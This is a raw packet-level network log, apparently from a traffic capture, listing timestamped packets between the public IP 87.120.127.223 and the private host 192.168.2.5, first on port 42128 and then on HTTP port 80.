Oct 15, 2024 19:22:23.573105097 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573117018 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573128939 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573139906 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573151112 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573162079 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573184013 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573195934 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573206902 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573219061 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573229074 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573240995 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573287964 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573301077 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573312044 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573323011 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573334932 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573400974 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573414087 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573427916 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573440075 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573451996 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573465109 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573477983 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573489904 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573560953 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573573112 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573584080 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573595047 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573606968 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573617935 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573630095 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573645115 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573715925 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573729038 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573740005 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573751926 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573762894 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573774099 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573787928 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573800087 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573812008 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573822975 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573833942 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573846102 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573857069 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573877096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573889971 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573901892 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573913097 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573928118 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573940039 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573961020 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.573997021 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574007988 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574019909 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574033022 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574043989 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574064970 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574096918 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574158907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574170113 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574192047 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574203014 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574217081 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574311972 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574323893 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574357986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574382067 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574394941 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574407101 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574426889 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574476004 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574487925 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574501038 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574619055 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574631929 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574641943 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574654102 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574731112 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574743032 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574795008 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574809074 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574820995 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574831963 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574934959 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574947119 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574959040 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574970007 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574980974 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.574991941 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575004101 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575015068 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575027943 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575040102 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575051069 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575062990 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575073957 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575084925 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575189114 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575201035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575212955 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575222969 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575234890 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575246096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575257063 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575268030 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575289011 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575301886 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575313091 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575325012 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575335026 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575345993 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575356960 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575367928 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575412035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575423956 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575436115 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575447083 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575459003 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575469971 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575481892 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575491905 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575629950 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575642109 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575653076 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575664997 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575676918 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575689077 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575700045 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575711966 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575732946 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575746059 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575757027 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575767994 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575778961 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575790882 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575803041 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575814962 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575835943 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575848103 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575859070 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575870991 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575881958 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575894117 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575903893 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575916052 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575927019 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575948000 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575961113 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575972080 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575983047 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.575994968 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576047897 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576060057 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576071978 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576082945 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576095104 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576150894 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576164007 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576174974 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576185942 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576198101 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576209068 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576283932 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576296091 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576307058 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576318026 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576329947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576409101 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576421976 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576432943 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576443911 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576533079 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576545000 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576562881 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576574087 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576585054 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576596975 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576669931 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576704025 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576714993 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576726913 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576788902 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576801062 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576812029 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576823950 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.576834917 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577001095 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577013969 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577024937 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577035904 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577064991 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577076912 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577088118 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577147007 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577159882 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577265024 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577277899 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577289104 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577506065 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577517986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577528954 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577541113 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577553034 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577564955 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577577114 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577589035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577677011 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577687979 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577698946 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577807903 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577821016 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577831984 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577843904 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577966928 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577979088 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.577990055 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578001022 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578012943 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578023911 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578036070 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578047991 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578058958 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578069925 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578083992 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578094959 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578105927 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578118086 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578130007 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578140974 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578151941 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578164101 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578175068 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578186035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578233004 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578244925 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578255892 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578268051 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578279018 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578289986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578301907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578313112 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578326941 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578346968 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578358889 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578370094 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578382015 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578392982 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578404903 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578416109 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578437090 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578448057 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578459024 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578470945 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578481913 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578495026 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578505993 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578571081 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578583956 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578594923 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578605890 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578618050 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578629017 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578640938 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578651905 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578664064 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578689098 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578701019 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578712940 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578723907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578736067 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578747034 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578758955 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578771114 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578807116 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578819036 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578830004 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578840971 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578851938 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578864098 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578875065 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578886032 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578897953 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578912020 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578922987 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578934908 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578957081 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578969955 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578980923 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578993082 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.578998089 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579010963 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579070091 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579082012 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579093933 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579104900 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579116106 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579128027 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579169035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579180956 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579193115 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579204082 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579215050 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579226017 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579237938 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579248905 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579307079 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579319000 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579330921 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:23.579341888 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:24.169838905 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:24.235349894 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:24.236205101 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:24.421152115 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:26.544421911 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:26.549530983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:26.549628019 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:26.550168037 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:26.555054903 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.034946918 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.450388908 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450459957 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450495005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450529099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450539112 CEST	49761	80	192.168.2.5	87.120.127.223
